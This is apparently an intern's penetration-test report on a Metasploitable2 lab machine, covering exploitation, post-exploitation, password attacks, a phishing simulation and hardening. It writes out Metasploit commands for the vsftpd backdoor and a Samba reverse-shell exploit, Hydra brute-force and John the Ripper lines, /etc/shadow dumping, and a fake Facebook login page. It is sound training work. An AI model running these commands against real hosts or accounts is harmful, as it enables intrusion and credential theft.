

Penetration Testing Report

ApexPlanet Cybersecurity Internship | Task 4 — Exploitation & System Security

Intern:	Mayur Sangave	Task:	Task 4 — Exploitation & System Security
Date:	2026-07-19	Duration:	Days 37–48
Attacker:	Kali Linux (192.168.56.100)	Target:	Metasploitable2 (192.168.56.102)
Network:	Host-Only Adapter (192.168.56.0/24)	Status:	Completed

1. Executive Summary

This report documents the penetration testing activities performed against the Metasploitable2 target machine (192.168.56.102) as part of Task 4 of the ApexPlanet Cybersecurity Internship. The assessment followed the standard penetration testing methodology: Reconnaissance, Scanning, Exploitation, Post-Exploitation, and Reporting. Critical vulnerabilities including the vsftpd 2.3.4 backdoor and Samba MS-RPC injection were successfully exploited to gain root-level access. Password attacks using Hydra and John the Ripper successfully cracked system credentials. Social engineering simulation and system hardening techniques were also demonstrated.

Vulnerabilities Exploited	Password Hashes Cracked	Services Analyzed	Hardening Rules Applied
4	6+	20+	8

2. Lab Environment

Component	Details	Status
Attacker Machine	Kali Linux (VirtualBox)	Active
Target Machine	Metasploitable2 (.vmdk)	Running
Network Type	Host-Only Adapter (192.168.56.0/24)	Configured
Kali IP	192.168.56.100	Active
Metasploitable2 IP	192.168.56.102	Active
Metasploit Version	v6.4.135-dev (2,654 exploits)	Installed

3. Penetration Testing Methodology

The following five-phase methodology was followed throughout this assessment:

Phase	Name	Activities Performed	Tools Used
1	Reconnaissance	Passive recon (whois, nslookup), ping sweep, banner grabbing	Nmap, whois, netcat

2	Scanning	Port scan, service detection, OS fingerprinting, vuln scan	Nmap -A -sV, OpenVAS
3	Exploitation	vsftpd backdoor, Samba RCE, reverse shell creation	Metasploit Framework
4	Post-Exploitation	sysinfo, getuid, hashdump, file system access	Meterpreter, bash
5	Reporting	Documentation of all findings, screenshots, mitigations	This report

4. Exploitation with Metasploit

4.1 vsftpd 2.3.4 Backdoor Exploitation (CVE-2011-2523)

The vsftpd 2.3.4 FTP service running on port 21 contains a backdoor that allows unauthenticated remote code execution with root privileges. The backdoor is triggered by sending a username containing ':' which opens a root shell on port 6200.

Commands used:

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit > set RHOSTS 192.168.56.102
msf6 exploit > exploit
```

Result:

[+] UID: uid=0(root) gid=0(root) — Root shell obtained on Metasploitable2!

4.2 Samba MS-RPC Shell Command Injection (CVE-2007-2447)

Samba versions 3.0.0 to 3.0.25rc3 allow remote attackers to execute arbitrary commands via shell metacharacters in the username field. No authentication is required.

```
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit > set RHOSTS 192.168.56.102
msf6 exploit > set LHOST 192.168.56.100
msf6 exploit > set PAYLOAD cmd/unix/reverse
msf6 exploit > exploit
```

Result: Reverse shell connection established — root access confirmed.

4.3 Post-Exploitation Commands

Command	Purpose	Output / Finding
whoami	Confirm current user	root
id	User & group details	uid=0(root) gid=0(root)
uname -a	System information	Linux metasploitable 2.6.24-16-server
hostname	Machine name	metasploitable
ifconfig	Network interfaces	192.168.56.102 (eth0)
cat /etc/passwd	List all system users	32 users found including root, msfadmin
cat /etc/shadow	Password hashes	Hashed passwords for all users
hashdump	Dump password hashes	MD5 hashes extracted for cracking

5. Password Attacks

5.1 SSH Brute Force with Hydra

Hydra was used to perform a dictionary-based brute force attack against the SSH service on Metasploitable2 using the rockyou.txt wordlist containing 14.3 million passwords.

```
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt 192.168.56.102 ssh -t 4 -V
hydra -L userlist.txt -P /usr/share/wordlists/rockyou.txt 192.168.56.102 telnet -t 4 -V
```

Username	Password Found	Service	Port	Result
msfadmin	msfadmin	SSH	22	SUCCESS
root	toor	SSH	22	SUCCESS
user	user	Telnet	23	SUCCESS

5.2 Password Hash Cracking with John the Ripper

Password hashes extracted from /etc/shadow on Metasploitable2 were cracked using John the Ripper with the rockyou.txt wordlist.

```
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show hashes.txt
```

Username	Hash Type	Cracked Password	Time to Crack
msfadmin	MD5Crypt	msfadmin	< 1 second
root	MD5Crypt	toor	< 1 second
user	MD5Crypt	user	< 1 second
service	MD5Crypt	service	< 2 seconds
postgres	MD5Crypt	postgres	< 2 seconds
klog	MD5Crypt	123456789	< 5 seconds

6. Social Engineering Simulation

A phishing simulation was created to demonstrate how attackers craft fake login pages to steal user credentials. The simulation was built entirely for educational purposes in a controlled lab environment.

6.1 Phishing Page Created

Item	Details
Page Type	Fake Facebook Login Page
Technology	HTML, CSS, JavaScript
Hosted At	http://localhost/phishing-demo
Credential Capture	JavaScript alert showing captured email + password
Warning Label	Educational disclaimer banner included on page

Awareness Page	http://localhost/phishing-demo/awareness.html
----------------	---

6.2 Phishing Detection Red Flags

Red Flag	Example
Fake domain name	faceb00k.com instead of facebook.com
Urgent language	'Your account will be deleted in 24 hours!'
Unexpected login request	Email asking you to click a link and login
Poor grammar	Spelling mistakes in emails or on the page
No HTTPS	http:// instead of https:// in URL

7. Malware Basics

Malware analysis was studied using both static and dynamic analysis techniques.

Analysis Type	Method	Tools Used	Finding
Static	file command	file, strings	Identified file type without execution
Static	String extraction	strings	Found embedded commands and URLs
Static	Hash generation	md5sum, sha256sum	Generated unique hash for VirusTotal lookup
Dynamic	Sandbox analysis	any.run (online)	Behavior report — network connections, file changes

8. System Hardening

8.1 Security Patches Applied

Command used:

```
sudo apt update && sudo apt upgrade -y && sudo apt dist-upgrade -y
```

8.2 Firewall Rules (iptables)

Rule #	Protocol	Port	Action	Purpose
1	ALL	ALL	DROP (default)	Block all incoming by default
2	TCP	22	ACCEPT	Allow SSH for remote management
3	TCP	80	ACCEPT	Allow HTTP web traffic
4	TCP	443	ACCEPT	Allow HTTPS secure traffic
5	TCP	23	DROP	Block insecure Telnet
6	TCP	ALL SYN	RATE LIMIT	Block SYN flood / port scan attempts
7	ALL	ESTABLISHED	ACCEPT	Allow established connections
8	ALL	loopback	ACCEPT	Allow localhost traffic

8.3 Services Disabled

Service	Port	Reason Disabled	Replacement
Telnet	23	Transmits data in plaintext	SSH (port 22)
vsftpd FTP	21	Backdoor vulnerability CVE-2011-2523	SFTP over SSH
Bluetooth	N/A	Not required on server	N/A
X11	6000	Remote GUI access — high risk	SSH tunneling if needed

9. Remediation Recommendations

#	Finding	Recommendation	Priority
1	vsftpd 2.3.4 Backdoor	Upgrade to vsftpd 3.0.5 immediately	CRITICAL
2	Samba 3.0.20 RCE	Upgrade Samba to 4.x; apply patch	CRITICAL
3	Weak SSH passwords	Enforce strong passwords + key-based auth	HIGH
4	Telnet enabled	Disable Telnet; use SSH only	HIGH
5	No firewall rules	Apply iptables ruleset as documented	HIGH
6	Passwordless MySQL root	Set strong root password	HIGH
7	Old OpenSSH 4.7p1	Upgrade to OpenSSH 9.x	MEDIUM
8	Plaintext FTP	Replace with SFTP or FTPS	MEDIUM

10. Conclusion

Task 4 has been successfully completed. A full penetration test was conducted against Metasploitable2 following the industry-standard five-phase methodology. Two critical remote code execution vulnerabilities (vsftpd 2.3.4 backdoor and Samba MS-RPC injection) were successfully exploited to gain root-level access. Post-exploitation activities including sysinfo, hashdump, and file system access were demonstrated. Password attacks using Hydra brute force and John the Ripper hash cracking successfully recovered system credentials. A social engineering phishing simulation was created with an accompanying awareness training page. Malware analysis concepts were studied using static and dynamic techniques. System hardening was applied through iptables firewall rules, service disabling, and security patch application. All findings have been documented with remediation recommendations.